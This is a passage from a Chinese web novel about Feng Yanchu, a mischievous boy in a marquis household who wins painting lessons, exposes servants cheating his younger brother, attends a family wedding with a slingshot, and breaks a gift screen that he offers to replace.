封砚初听后点头道:“既然父亲忙着,那我去外书房先等着。”说罢也不等方恩回应便走了。也不知是不是年岁变小的缘故,他也变得有些幼稚起来,有时候还很有童心,如今遇事更是等都不想等了。
老侯爷封靖良年已花甲,头发也有些花白,不过精神尚可。次子不争气,侯府的未来只能靠长子,所以他正在书房与长子谈事。
突然听见书房外有人说话,便问道:“谁在外面?”
老侯爷的随从夏津推门进来,“回侯爷,是二郎君有事要找世子爷,说先在外面等世子爷谈完事情再说。”
老侯爷虽忙于朝政,对府里的晚辈关注也不多,但也听说封砚初的淘气,正转头看向长子。
就见封简宁眼睛一眯,心里突然有种果然如此的感觉,“我就说他这些日子这么安分,现在不知又要生什么事。”
老侯爷正因朝堂之事烦闷,孙儿来了正好换换心情,“让他进来吧。”
封砚初进来先是行礼问安,“问祖父安,问父亲安。”
封简宁面对次子之时,有心做个严父,儿子刚进门就斥责道:“有什么事这么着急,没看到你祖父与我正在商量事情吗?”
老侯爷倒是没生气,反而问道:“你有什么事?祖父可以为你做主。”
“孙儿想学绘画,但是杨先生不会。”
此话一出,封简宁顿时火冒三丈,他想让次子将所有的精力放在读书上,绘画虽说陶冶情操,但耽搁时间,而且他觉得次子这是越来越得寸进尺,“你还是先把心思放在读书上吧!再说就你的那手字,犹如鸡爬,还是先把你的字练好吧!还不快出去!”
老侯爷却问道:“你为什么想学画画?”
封砚初自然不会说实话,他早就想到借口了,“孙儿前几日,与兄弟姊妹在后花园那里的凉亭玩耍时,看见周围的景色很美,便想画下来,所以孙儿才想让父亲给我请个教绘画的先生。”
老侯爷虽然对孙辈关注的不是特别多,但他心中明白,正所谓三岁看老。长子的老三不喜读书,老四胆小懦弱!次子只有一子,十分娇惯,也不成气候!老大稳重,将来继承侯爵没有问题,老二聪慧淘气,没有定性,可正因为如此,培养好了,没准将来侯府还要靠他帮扶。
“这事祖父允了,只是不可因此耽搁功课,否则就要暂停学画,你可能做到?”
封砚初只想着眼前,觉得先答应下来也无妨,连忙点头应了,“能做到!”
封简宁看向老侯爷,眼中闪过不赞同,“父亲,可……”
老侯爷先是挥手让封砚初退下,这才说道:“二郎性子跳脱,让他学画也好,正好磨一磨性子。”
说罢,指着墙上挂着的一幅春日游园图问道:“你知道这幅工笔画,就单单是着色要多少遍?”
然后自问自答,“你看这园子里的花卉,颜色鲜亮,层次丰富,描完线之后,这花瓣由浅到深,薄中见厚,光是这一遍一遍的上色,就得几十遍。若真能耐着性子学画,与他也是有益。”
“是,父亲。”封简宁这才真正的听进去了。
而封砚初见祖父答应,便欢快的出了书房。父亲的办事效率还是很快的,第三日他就见到了教绘画的先生。
只是并不仅仅教他一个,而是专门抽出时间教所有人。毕竟他们都是武安侯府出身,在外是要有讲究的,否则将来宴会上别人都有才艺,而他们没有一样能拿的出手的,也是丢脸。
所以又顺带增加了其他艺术课程,只是这些只占了日常课程很小的一部分。
对于封砚初几次的提议都被应允,其余孩子都很羡慕。换作他们别说提要求,就是面对祖父与父亲时,也是很拘束。
就拿长姐来说,她虽然是侯府嫡出,大娘子与祖母也宠爱,但面对父亲也不敢放肆。
而封砚开虽然占了一个长字,但因为是庶出,所以需得时时小心注意,努力给父亲留个好印象。这番改变也是因为之前给酒缸里撒尿,生母刘姨娘是又急又气,给他掰开揉碎细细讲了之后,才明白过来。
毕竟他虽是侯府长子,但却是庶出,如今已经七岁了,而大娘子丝毫没有将他记在名下的意思。
三弟封砚池本就不爱读书,巴不得父亲不会注意到自己,又怎么可能凑上去。
至于四弟封砚安一则年龄小,二则是个胆小的,父亲稍微给个眼神就吓得不行,之前也正因如此才告的密。
让其余人没想到的是,封砚初在学画上,并不像读书一样但凡身后没人督促就落后,反而很认真,他也是几个孩子里进步最快的,就连父亲封简宁与先生杨旭升都在感慨,若是将这股劲用在读书上,将来科举必定有望。
第八章 自己保管和糊弄
还有一件事让封砚初觉得很无语,他明明没惹事,可父亲还是不放心,每隔一段时间就要查问他。就连大娘子也时不时将他叫去关爱一番,这让长兄十分紧张,就连刘姨娘也在暗中与王锦娘较劲。
话说之前,封砚初的月钱是被王锦娘每月代领,美其名曰代他保管,将来再还回去,反正又用不上,所以他身上没有一文钱。
这话若是别的小孩也就信了,但他怎么可能相信,在连续几次强烈的抗议之下,王锦娘并没有将之前代领的月银还给他,只是答应以后的让他自己保管。
当封砚初第一次见到月银时,十分惊奇它的外形。它并不是印象中的元宝或者碎银的样子,而是一枚枚银币,其中分别是一两无孔圆形,半两和一钱的外圆内方形。
他稀奇的样子逗笑了李妈妈,“二郎,快收起吧,这钱又不会自己长腿跑了。”
碧芳笑道:“郎君哪是担心钱跑了,这分明是在瞧稀罕呢。”
“是了,二郎从长大到现在还没见过银钱呢!”李妈妈这才反应过来。
封砚初想到一件事,问道:“那我过年时收到的压岁钱呢?”
李妈妈将提前准备好的钱匣子拿给他,说道:“往年你也不在意,钱都让我给了姨娘了。”
封砚初点点头,生活在侯府,生活富足,不愁吃穿,对钱财并不在意,也没概念,反而每日里想的都是怎么玩的开心,“这钱竟然长这样,我还以为是元宝的样子。”
碧芳奇怪道:“钱本来就是这个样子。”
李妈妈摇头道:“以前的银子不是这样,那时候都是碎银,朝廷每年还要收什么火耗银,还是咱们大晟的太宗皇帝不忍百姓受苦,这才将银子制成这样,还别说,外出花用还真方便。”
“竟是如此。”封砚初将几枚银币放入钱匣内,在衬托之下,整个钱匣显得空荡荡的,他心中暗暗点头,早晚要将这个匣子装满。
之后也如王锦娘预料的那样,在侯府的封砚初,日常生活皆有供应,压根用不上银钱。
让封砚初没想到的是,这件事被王锦娘当成闲话说给其他几个姨娘,之后又传入大娘子与老太太耳中。
再一次请安之时,大家逗趣,老太太和大娘子还特意给了他一些银币,让他自己保管,他厚脸皮的收下了。
可这件事的连锁反应就是,其余的孩子都主动要求自己保管银钱。这其中除了封砚明,他虽自己管着银钱,但因受父母宠爱,所以在这上面从来不上心,最多向众人炫耀一番。
老太太也允了,说孩子渐渐大了,也该学会自己打理银钱,免得将来对此一无所知。
也不是没有坏处,跟在三弟封砚池身边的小厮就撺掇着,想从他身上哄些钱。这些小厮在外门,时常外出,便买些小玩意哄他。
而封砚池哪里见过这些东西,果然十分稀罕,好几次甚至偷偷拿到学堂上。
休息的空当,封砚初就看见对方跑出去,好奇之下跟了上去。只见对方拿出一个会动的木偶蹲在地上玩,丝毫没注意身后。
他眼疾手快地抢过木偶,便发现原来是几个简易的装置,使得木偶可以动起来,但这雕工十分粗糙,也不是什么好木头。
“还给我!”封砚池见状想要夺回来。
封砚初一个躲闪,问道:“你这是哪来的?”
封砚池看了看四周,低声道:“这是我的小厮帮我买的,十分新奇。”
封砚初心生警惕,“花了多少钱?”
“花了我五两银币!明日他们还有更新奇的东西带进来,你要的话可以让他们帮忙买。”封砚池立即显摆。
封砚初摇头无语,“就这么个破玩意就要五两?他们莫不是诓你?”
封砚池一把抢过木偶,宝贝似的藏起来,“哼,你不要就不要,干嘛这么说,他们也是好心帮我带。”
“我这是担心你被骗。”
“才不会呢!”
“嘿!你还不信?一会儿咱们去问问你姨娘去,看他们是不是哄你呢?”
张姨娘最不喜欢封砚池玩物丧志,所以他担心二哥真的告诉姨娘,赶紧将收起来的木偶递过去,下了好大的决心,“二哥,你千万别告诉我姨娘,这个木偶就送给你吧!”
“你真是榆木脑袋,那些小厮为了哄你的钱,这才故意抬高价钱,为的就是能昧下些银钱!”封砚初见对方不开窍,干脆说开了。
封砚池并不在意,“不过是几枚银钱罢了,又没多少,就当是赏他们的辛苦费,更何况我挺喜欢的。”
“这主动赏和私自昧下来岂能一样!如今他们都敢这样哄你,以后岂不是更把你当成冤大头,事事欺骗!”
俩人的争执声引起了其他人的关注,封砚池的小厮也注意到这边,他们原以为只是俩个孩子争玩具,可听了一会觉得不对劲,担心事情败露赶紧上前讨好地笑道:“二郎君要是喜欢这玩偶,明日给您带一个,小的们凑钱给您买。”
封砚池听了这话很高兴,觉得自己小厮是为了防止二哥抢他的木偶,这才想着凑钱买。
而封砚初见这些人根本没将他放在眼里,依旧想方设法的糊弄自己,顿时就不高兴了,“我原本想着只告诉张姨娘,到时候你们将昧下的钱还给三郎,可都这会了,不仅不悔改,竟然还想着糊弄我!既如此,那我便禀给母亲,让母亲来处置!”
这几个小厮没想到二郎君这么不好糊弄,竟然要告诉大娘子,到时候岂有他们好果子吃!正要让三郎君求求情之时,休息的时间到了,杨旭升正皱眉看着他们的方向。
封砚初见状也不好耽搁,便拉着封砚池进去上课。
与他不同,外面的小厮心中十分煎熬,几人商议着。有人想将钱还回去,有的觉得进了口袋的钱怎么可能掏出来,了不得再给三郎君买几件新奇玩意哄一哄,有的则是想着万一大娘子处罚,到时候找人求情。
第九章 还请母亲惩治
下了学,封砚初就拉着封砚池去了大娘子的院子,身后还跟着封砚敏,她迫切的想去瞧瞧。
“儿子给母亲请安。”封砚初来的时候,大娘子正在给府中的管事吩咐做秋衣的事。
“二郎,三郎,你们怎么这会儿来了?”
封砚池还在扭捏,封砚初没客气,竹筒倒豆子,干脆利索地将事情说了一遍,“还请母亲惩治。”
“竟有这事?我会让张姨娘代管三郎的银钱,回头再罚他们。”大娘子并未重视,只是觉得小惩大诫即可。
封砚初一听这话,瞬间明白了几分意思,认真道:“母亲,这些人如今就敢仗着三弟年幼就哄骗,此次若是不重视,岂不助长了他们的气焰,将来如何更未可知。”
“他们犯的也不是大错,小惩大诫一番,想必也能长些教训。”
“儿子却不以为,虽说知错能改,善莫大焉;但更有一次不忠百次不用!更何况他们所处的位置也并非无可替代,多的是人想顶上来,此次重罚正好也给所有下人一个警醒,以正家风!”
“好好办差虽该赏,但存心不正之人更当罚!更免得有人觉得在侯府伺候了几辈子,有些脸面,便可以讨情。主子可以赏,但他们不能用不正当的手段去骗,去偷,去谋。”
封砚初的这番话确实惊着大娘子了,同时也惊到了正要进门的封简宁。俩人都没想到,一向调皮捣蛋的二郎竟然有这番言论。
大娘子也认真起来,“好,就如你所说,将三郎身边的人换了,哄骗小主子其心不正,更当重罚!”
封砚池一听要换掉身边的小厮,心情顿时不美丽了,以后谁还能帮他从外面带回来一些好玩意。
封简宁此时也进来了,他看向三子,皱眉道:“以前只当你不喜读书,如今看来竟是让身边的人全都教坏了!”
封砚池一听父亲这话吓得一个激灵,立即认错,“儿子知道错了,下次再也不敢了。”
“哼,真是不省心。”封简宁冷哼道。
大娘子见状赶紧劝,“他还小,正是需要人教,也是我疏忽了,竟然三郎身边存了些心思不正之人,幸亏此次二郎揪出来,否则将来还不知会引来什么祸患。”
封简宁知道大娘子要管着整个侯府,劳心劳累,不可能事事都能关注到,“这事不怪你,是三郎自己经不住诱惑,二郎怎么没有这事发生?”
这也是他佩服老二的一点,别看年龄小,又淘气,但现在身边的人都是规规矩矩地,没出现过差错。三郎身边的人敢哄骗,二郎身边的人怎么不敢?
大娘子看着两个孩子,想到二郎淘气,便道:“二郎此次发现有功,今年秋冬就多做两身衣服,至于三郎,有错在先,今年就不给你多做了,你可服气?”
三郎本就不是个在这方面多计较的人,听后连连点头,“儿子服气!”
封简宁看向女儿道:“你可看够热闹了?”
封砚敏放下手中的点心,嘿嘿一笑,“女儿这就去做功课。”封砚初俩兄弟也顺势一起离开了。
出了屋子,封砚敏看向三郎道:“好啊,三弟,你竟然瞒得死死的,有好玩的怎么不拿出来让大家瞧一瞧?”
三郎垂头丧气道:“这才几天就被二哥发现告诉母亲了,如果你们都知道只怕我连这几天也玩不了。”
封砚敏哼了一声,“走,带我去看看你的小玩意。”
“啊~你就真的只是看看,不会要我的吧?”三郎担心不已。
“这么小气,连看都不给看吗?”
三人一起去了三郎住处,只见他专门准备了一个箱子,里面装的都是他的宝贝。
封砚敏见都是男孩子玩的东西,并不感兴趣,只看中了一个金鱼风筝。而封砚初却看上了里面的一个弹弓,便将它要了过来。好在三郎还算大方,虽然不舍,但还是都给了。
两人离开后,张姨娘就对三郎耳提面命,“你说说你,我就几日没管你,竟然发生这种事!你怎么这么不争气,是要气死我不成?”
三郎这几日有多高兴,现在就有多沮丧,“姨娘,我心里也不好受,二哥朝母亲告了一状,母亲让你帮我代管银钱,现在兄弟姊妹几个,只有我不是自己管钱,而且我还将我的宝贝送出去俩个!”说完竟伤心的哭起来。
“活该,我就与王姨娘她们打了几次叶子牌,就几日没管你,你就犯错。”
张姨娘离开时还顺带拿走了儿子的钱匣,只可惜空荡荡的钱匣里花的仅剩三钱银币。
话说孩子都出去以后,大娘子这才感慨道:“二郎这孩子一向调皮,没想到今日竟然说出这番话来。”
别看封简宁平日对次子严厉,但此刻他是骄傲的,“是啊,没想到这孩子小小年纪,竟有这番想法,看来侯府有望了!”
大娘子看向世子,忖度着说:“夫君,你是否有心……”话虽未尽,但意思已经很明显。
只见封简宁摇头道:“长幼有序,不可更改,更何况大郎一向稳重,也知上进。”
其实不怪封简宁这般,武安侯府原本是五世而斩,但因先老侯爷与朝有功,又让延续两世,等传到长子那一辈,正好是最后一代,这也是他与父亲为什么对子孙的学业这般看重。
一旦武安侯府被边缘化,到时候别说延续,恐怕连爵位都保不住,全家也要搬离侯府别居。
大娘子的心里一时惆怅,竟不知是该高兴还是失落。这也是她为什么不将大郎记在名下的原因,可一旦后头出现有出息的庶子,夫君和侯爷未必不动心。
目前夫君虽依旧坚持大郎将来承袭侯府,但已经表明出看重培养二郎的意思,否则就这段时间二郎提出来的要求怎么可能同意。
“嗯,我知道了,今后我会多多关照大郎和二郎的。”
“有你我很放心,你照顾好日常生活,我就紧抓他们的学业。”这也是封简宁为什么这么及时的出现在大娘子这里的原因,他对次子那属于高度重视。
第十章 爱告状的小屁孩
这天休沐,正好碰上唐家娶妻,封简宁与大娘子便带着大郎与二郎前往,正好封砚初有心看一看古代人成婚。
在路上的时候,封简宁还在嘱咐次子,“今日你唐家小舅舅成婚,你去了之后跟着你母亲,或是与唐家表哥玩,若是让我知道你调皮捣蛋,可仔细些。”
“哎呀,我知道今天是个重要日子,肯定听话。”封砚初觉得父亲是担心过头了。
大娘子劝道:“这喜庆的日子,你说这话做什么。”
大郎则表现出兄长的担当,拍着胸脯保证,“父亲,母亲放心,我会看着二郎的。”
现在的唐家,当家的是大娘子的父亲——唐承,在大理寺任少卿。唐家祖上的爵位已没有了,一家子从之前的伯府搬到城东的太平巷。
他家虽然没有了爵位,但毕竟唐承在大理寺执掌刑狱,再加上也有祖上的脸面和姻亲在,所以,当封家人才到巷子口时,就已经看到有人陆陆续续到了。
在门口接待的是与大娘子同母所出的长兄唐景。他们二人的生母早逝,今日成婚的是继室王大娘子所生之子——唐显,娶的是国子监祭酒方才恩之女——方悦荣。
“大哥!”
“舅父。”
“妹妹,妹夫,快里边请,今日忙碌,怠慢了。”
“都是一家人,说这些做什么。”
几人在门口见了礼,这才进去前头正堂,先去见过唐大人和王大娘子。
“女儿/女婿,见过父亲/泰山,母亲/泰水。”
“外孙给外祖父,外祖母请安。”
唐承先抬手示意坐下,然后看向封砚开与封砚初俩人,之前他只见过大郎,没想到女儿这次将二郎也带来了,“这便是二郎,老夫还是第一次见。”
封砚初赶紧上前再次行礼,“是晚辈之前懒怠,不曾向外祖父请安。”
“旁人都说你调皮,老夫瞧着挺好的。”
封砚初没想到谣言竟然传的这么快,他是不承认自己调皮的,“外祖父所言甚是,那些都是外人的谣传。”
“哈哈……果然有趣。”
王大娘子今日很忙,她来这儿并非是为了专门迎接唐晨,而是想让她帮忙,“今日你弟弟成婚,家中实在太忙,我又顾不过来,一些宾客还需你来招待。”
“是,母亲。”大娘子虽是外嫁女,但今日是弟弟成婚自然要帮忙招待宾客,她又看向两个孩子道:“你们俩个去找表兄去玩吧。”
封砚初装了好半天的乖,早就浑身难受,大娘子刚吩咐完,便拉着封砚开一起出去了。
成婚时,孩子们是最闲的,表哥唐沐正带着表姐唐沅正与一帮小孩正在开席的桌子间奔跑打闹,玩的十分开心。
“哎呦!”唐沐奔跑期间不小心撞上了,来找他们的封家兄弟俩,他摸摸脑袋开心道:“表弟,你们来啦!咱们一起玩将军捉贼的游戏,你俩来当贼怎么样?”
几个小孩正在玩将军捉贼的游戏,只是谁都不想当贼,这才想出轮着来,下一次就要轮到唐沐了,所以见到封家兄弟俩眼放光。
一个年龄相仿的小孩不愿意了,“凭什么!这一轮结束就轮到你当贼了,休想赖掉!”
“就是,就是!”一群孩子争起来了。
唐沅还是向着自家哥哥的,“可他们也会一起玩,总不能一来就当将军吧,这样也太不公平了!”
唐沐赶紧应声,指着封家兄弟,“就是,我都当过一次贼了,现在他们加进来,自然也要当一次。”
封砚初才不想玩这幼稚的游戏,见一帮小孩说的这么热闹,仿佛自己肯定要玩一样,拒绝道:“停停停,谁说我们要玩了?”
唐沐不愿意道:“不玩你过来做什么?”
要不是看对方比自己长的高,长的壮,封砚初高低得给这小屁孩一脚,“我和大哥过来只是想打声招呼,再说这么幼稚的游戏谁用愿意玩啊!”
唐沐哼了一声,“那你不许玩!”
封砚初拿出藏起来的弹弓道:“我有这个,谁还玩什么将军抓贼的游戏啊!哥!我们去唐家的后花园!”
封砚开很吃惊,“你什么时候藏的?”
一个小孩看了看封砚初手里的弹弓,眼馋道:“我跟你一起去!”
“你是?”
“哦,我叫孙延年,唐家的孙大娘子是我姑母。”
“哦,原来是大舅母家的侄子,我叫封砚初,这是我大哥封砚开,这次跟着父亲和母亲来参加小舅父的婚宴。”封砚初很正经的介绍着,“走,咱们一起去。”
封砚开阻止道:“还是别去了,咱们就在这等着,万一闯祸了父亲会责罚的。”
封砚初并不担心,“哎呀,没事,咱们又不射人,不射物件,只打鸟。”
“对对对,我们会很小心的。”其余孩子也眼馋,方才还很多孩子,一下子呼啦啦全跟着封砚初一起离开了,封砚开不放心跟了上去,只留下唐家兄妹。
花园里的人很少,到处都是花草树木,自然就有不少鸟雀。
弹弓是封砚初的,其余人都想玩,所以他便制定了规矩,每人只能打两次,然后就轮下一个,若是不小心射到人就再也不许玩,孩子们听后连忙应了。
封砚开虽然稳重,但毕竟是个孩子,所以也很心动。他指着树梢上的麻雀,给弟弟递了一颗小石子,“那里有只麻雀,快打它!”
封砚初其实在家时,就偷偷试过,如今手感还在。他努力的去瞄准,只是麻雀太灵活了,终究还是射空了。
“哎呀,真可惜,射那儿!”又一个孩子赶紧指着另一个方向。
就在众人玩的不亦乐乎之时,封简宁出现了,他一眼就看见次子正指挥着其他孩子玩弹弓。
“封砚初!你在做什么!”
这个声音吓了封砚初一跳,连忙回头看去,原来是父亲,心中一想便明白是唐沐兄妹两告的状,“父亲,你怎么来了?我正和他们一起玩呢,可没有淘气。”
“今日是唐家的喜事,来往宾客这么多,打到人可是玩笑的?将弹弓拿过来!”封简宁还真是听见唐沐告状来的。
原来这唐沐见自己与其他孩子玩的好好的,封砚初一个弹弓就把其余人全引走了,更过分的是不带他一起玩,便生气的朝姑母告状,正好让封简宁听个正着。
封砚初怎么可能上缴,他顺势将弹弓收回去,压下顶嘴的冲动,“父亲,我已经收起来不玩了。”
封简宁指着次子说道:“今日你要是听话倒也罢了,如果被我知道淘气,回去我再收拾你。”说完便离开了,也没有收弹弓。
其他孩子沮丧着一张脸,“啊,玩不成了!”
封砚初低声嘟囔着,“这些小屁孩真爱告状。”
第十一章 你凭什么哼我
与封砚初不同,封砚开之前经常来唐家,与表兄唐沐玩的很不错,可这次唐沐告状的行为,让他想起了四弟封砚安,十分不喜,所以在经过对方身边时,还哼了一声。
唐沐惊呆了,他与封砚开关系很好,没想到对方竟然哼自己,“你凭什么哼我!”
封砚开仿佛回到之前面对四弟时,就连脸上的表情都一样,“告状精。”
“你竟然说我是告状精?谁让你们不带我玩的!”唐沐很生气,觉得对方背叛了他们之间关系。
封砚开同样不高兴,关系再好那也是表弟,和亲弟区别还是很大的,“那是我弟弟的弹弓,我弟弟想和谁玩就和谁玩!再说不叫你,你就要告状吗?”
就在几人闹矛盾时,新郎官将新娘子迎回来了。
“我小叔回来了,我要去看我婶娘!你们不许去!”唐沐说这句话时,那个我字发音很重。
封砚初才不惯着,“我们就去看,我倒要看看你能拦住谁?还是说你不担心舅父打你?”
与大舅母孙芷不同,舅父对儿子管的很严,所以唐沐并不敢在父亲面前放肆。
这也是让唐沐不高兴的地方,他原本以为告状后,最起码姑父会将封砚初打一顿,没想到对方不仅油皮都没破,就连弹弓也没被没收。
这里成婚新娘并不盖盖头,而是却扇。封砚初从侧面完全可以看清对方的长相。这位小妗子并非国色,长相最多算秀气,只是大红的牡丹鸳鸯婚服,让她显得分外喜庆,格外增添了些颜色。
唐家与封家一样,祖上都是武将出身,而他家的爵位早就收回了,唐家是为了家中子弟的读书科举路,这才与国子监祭酒结为姻亲。
周围所有人都洋溢着笑容。高堂上坐着的唐承笑吟吟的抚着胡须,王大娘子同样与有荣焉,仿佛下一刻就能抱上大孙子一般。
封砚初原本也很高兴,只是听了几句刺耳的话,还是当着他的面,心里原先那股看人成亲的心情荡然无存。
他一个人坐在凉亭里,看着天空上悠悠的白云。
不知何时,小舅舅唐显已经送了新娘回新房,并举行完仪式出来了,正要前去招待宾客,“二郎?你不去前头吃席,坐在这里干什么?”
他转头看去,“小舅舅,你还没去前面待客吗?”
唐显下意识地弯了弯嘴角,“这就要过去了,你要去前面吗?”
封砚初摇了摇头,“小舅舅先去吧,我再坐一会儿。”
唐显看到对方明显情绪不佳的样子,“你一个小孩有什么烦心事?”
封砚初心里确实不快,以前在家里没觉得,这次来唐家,有好几个宾客直接在他跟前就讨论。
说唐大娘子竟然还将庶次子带来,将来又不能继承爵位,不过是白费功夫,嘴里满是嫌弃,他不想去前面听这样的话,才躲在这里。
只是这话如何与唐显说,只回了句,“小孩子自然也有烦心事。”
唐显听到此处,嗤笑一声,并未当真,“好好好,你先待着吧。”
封砚初挥手道:“小舅舅,你快去前面招待宾客吧。”
就在此时,听见有人喊他,“二郎君?二郎君?”原来是大娘子发现封砚初不见,让身边的二等丫鬟铜雀寻人。
“舅爷安,您怎么从这儿来了?方才婚房仪式结束,王大娘子正找你呢。”
她先给唐显行了一礼,然后上前说道:“二郎君,你怎么在这里,大娘子寻你不见,正找呢。”
唐显听了这话道:“哦,我正好巧碰见二郎,说了几句话。”
封砚初见状也只能随着一起去前面,大娘子便问道:“铜雀,你在哪里找到二郎的?”
“就在后院凉亭那里。”
“不是看婚仪吗?怎么一转眼就不见了,身边也没人跟着,吓了我好大一跳。”大娘子看封砚初情绪不好,也就没深责,“去那边和大郎坐一处。”
“是,母亲。”
封砚初告退后,刚去大郎身边坐下,对方就凑上来,“二郎,你刚才去哪了?你没看到仪式真可惜,那婚房真好看,我给你说……”
这场婚宴就这么结束了,所幸没出什么岔子。不过等封家回去的时候,夜幕已至。
马车上,封简宁看着次子道:“方才你乱跑什么?不知道你母亲担心吗?她找了你好一会。”
封砚初并未说实话,只叹气道:“我只是觉得那婚仪没意思的紧。”
封简宁都快气笑了,“哟,你一个小孩子知道什么叫没意思吗?”
让他没想到的是,次子竟然一本正经地说,“我是年龄小,又不是傻子。”
“听说你今天与唐沐闹矛盾了?”
“不过是一些口角争执罢了,放心,我有分寸。”
封简宁瞟了一眼次子,“我竟不知你还知道分寸了。”
封砚初有些无奈,自己明明说的很严肃,但显然父亲并不当真,还怀疑他,顿时生出一些无力感。
不过他还是盯着父亲的眼睛,一字一字道:“我这是去做客,又不是去找茬的,只要对方不过分,我不会同一个小孩子计较的!”他显然忘记自己也是个小孩子。
大娘子见状赶紧拽了一下夫君,她方才无意中知道了二郎情绪不高的真实原因,便道:“你也真是,同孩子计较什么?”
而封简宁这才发现次子不仅调皮,竟然还有些离经叛道的苗头,心中暗自决定要紧盯次子。
第十二章 我弄坏的,我来赔
时间缓缓而逝,封砚初写字与画画的水平长进很大,他也开始慢慢誊抄意识里的那几本书。
这是个漫长的工程,尤其是医书,很厚很厚。为了页面整洁,字迹工整,他抄的非常慢,防止忙中出错,在此期间,同时也学习了一遍。
不过他也不担心泄露,姨娘也很少动他的东西,身边伺候的下人,没有一个识字的,而他也没有教他们的打算。
不知不觉间,随着秋季最后一片树叶的飘落,京城迎来了冬雪,鹅毛般的大雪,不知疲倦的下了一整夜。
封砚初不知是该高兴,还是该难过,杨先生因雪天路滑,摔了一跤,学堂也暂时放假。所幸没有伤筋动骨,只扭伤了脚。
又因为寒冬之际,一时之间也不好找人代替,这可让封家的孩子们高兴坏了。
侯府的炭火准备的分外充足,几乎足不出户的封砚初,感受不到外面的寒冷。
“二郎,崇州安家来人了,大娘子喊你去见客!”
封砚初只得放下正在誊抄的笔,抬头看向李妈妈,“老太太娘家?”
“是啊,是安家的表叔带着全家一起回京了。”
“全家?这么冷的天?”
李妈妈一边给封砚初换外出的鞋,一边说:“是啊,安家四郎君要参加明年的会试,安家大郎也要调入京城为官,所幸全家都回来了。原本秋末就能到的,只是路上耽搁现在才到。”
这安家老太爷在世时任户部尚书,安老太爷没了以后,安家表叔读书不成,身上也没个一官半职,只有长子考中了个同进士,调任地方为县令。
当时朝中正值几位王爷夺嫡争位,安家在京中除了几家姻亲,其余人并无官职,一家人便随儿子去了地方,最后还是老侯爷暗中操作几年就升任崇州知州,如今眼看着又要重新回京。
道路上的雪,被下人扫的干干净净,封砚初裹着小披风,捧着手炉朝老太太住处走去,才到门口就听见一阵欢声笑语。
进门后,就看到屋里有不少人,除了自家人以外,还有安家的女眷和孩子,表婶杨氏,安四郎的妻子吴氏,以及安家六娘。
他行完礼之后,被祖母拉着介绍了一圈,然后又让他去前院找父亲。
来到外院待客处,祖父没在家,待客的是父亲和二叔。
“儿子给父亲,二叔请安。”然后朝其他人见礼。
父亲指着他对安表叔和安四郎介绍,“这是我的次子。”然后指着安四郎,特意对他说,“这是安家四郎,你四表哥,读书最刻苦努力,明年就要参加会试,你也应当向他看齐。”
“儿子记住了。”
安四郎见世子专门让大郎和二郎出来见客,自然明白这是看中的意思,也顺势问了几句,“你现在学到哪里了?”
“先生刚开始讲《大学》。”
然后又顺势考教了几个问题,这才对封简宁拱手道:“是晚辈唐突了,竟在您面前班门弄斧。实在是看二郎聪慧,如今仅简单问了几句,便发现他在读书上确有天分。”
封简宁微笑着:“这孩子虽聪慧,但却异常淘气,读书时常要人督促,若他以后能像你一般刻苦,我也就不愁了。”
安表叔摆手道:“他年岁还小,长大些就好了,四郎以前读书也没个定性,长大后也就稳重了,世子不必心忧。”
其实安表叔说的也不算错,安老太爷在世时,安家的光景确实不错,安四郎并没有心思安心学习。
自从安老太爷病逝,树倒猢狲散,安家不复从前。要不是安大郎考中进士,否则安家连官场也待不下去了。安四郎从那以后,见多了人情冷暖,跟着大哥去了地方才知道刻苦读书,为人也活络起来了。
“但愿如此。”
封砚初就这么被溜了一圈又回去了,回去的路上他低声抱怨:“这大冷的天,冒着寒风还非得让我见客。”完了又很羡慕三郎和四郎,以及堂兄三人可以舒舒服服的待在房间不用去。
回去的路上,恰好碰见正在树梢上停留的麻雀,拿起弹弓猛地将石子射出去,哎哟!打中了!心情美丽了一些。
随后又拿起弹弓射出去,只听见“叮咣”一声,什么东西破了的声音!原来前面走来几个下人,手里捧着老太太为安家准备的礼物。
捧着东西的下人正要开骂,见到封砚初后,硬生生咽了下去。领头的赶紧行礼,若是别的郎君他们言语不周或许没事,但二郎君与旁人不同,老侯爷,老太太很重视,世子爷与大娘子对其也是时时关注。
更别说二郎君以一己之力,说服大娘子更换处罚了三郎君身边的小厮,所以在这些下人心中封砚初的位置无意中提高了很多。
“这东西可以用旁的代替吗?”封砚初指着一面桃花玻璃炕屏问道。
“回二郎君,库房里还有一面春夏秋冬四季折叠的。”
“不用老太太的东西,即是我弄坏的,自然我来赔,我那里有一面童子牧牛图的屏风,一会我让人送去。”封砚初说完捡了地上的麻雀便离开了,回去后又吩咐下人将东西送去,只是难免受到李妈妈的唠叨。
不过老太太也没计较,又让人重新将屏风送回来,说是不用赔,他自然乐的收下。
就在他以为这件事过去了,没想到次日,他还在床上躺着时,封简宁就拿着藤条冲进来,为的就是能抓到人。
可封砚初是谁,眼见情况不对,连衣服都没穿,一个箭步冲了出去,这委实吓到了封简宁。
“你快过来,我不打你。”
封砚初一边哆嗦,一边摇头,“你别是哄我过去。”
碧芳等一干下人也在旁边劝着,李妈妈手里举着衣服喊,“二郎,仔细冻着,快将衣服穿上。”
封砚初也觉得有些冷,正要过去拿衣服,余光扫见父亲偷摸靠近,只能猛地抢过衣服披上,然后闪到一旁。
“我不打你!”
“你胡说!不打我为什么偷摸靠近?”
封简宁气的没法,现在他只担心儿子受风寒生病,哪有心思打他,只是儿子并不相信。
就在此时,一声怒吼,“封简宁!你做什么!”原来是正要上衙的老侯爷,见儿子拿着藤条,便打算跟上去,让他打人时收着点,没想到竟然看到这一幕。
“二郎,快回去,祖父为你做主,你父亲不敢打你!”老侯爷连忙承诺。
“果真?”
“果真,真的不能再真了!”
封砚初这才相信,他觉得鼻子一痒打了个喷嚏,哆哆嗦嗦的进了屋子。
“还不赶紧请大夫!”封简宁十分担心,将心里的火气朝下人撒去。
第十三章 在我跟前还想动手
封砚初刚躺下,李妈妈就赶紧将汤婆子塞进被窝,又加盖了一条被子。
“二郎,如何?可还冷?”
他正要张嘴,接连打了几个喷嚏,“妈妈,我是不是流鼻涕了?”说话间就要起来拿帕子。
李妈妈赶紧将他压住,紧了紧被子,“我的祖宗唉,你可消停些,若是着了风寒可是玩笑的?”
封简宁也进来了,正要关心,就听见次子说,“你不会还要打我吧?祖父可说了,不许你打我!”
“快住嘴!赶紧消停躺着!”然后对外催促,“快去催催孙大夫!”
老太太和大娘子也闻言而来,她们俩人几乎是和孙大夫同时进的门,众人都安静地等待孙大夫诊脉,空气一时之间有些凝固。
“妈妈,我有些冷。”
大娘子连忙伸手试探,“哎呀,发烧了!快取帕子来!”
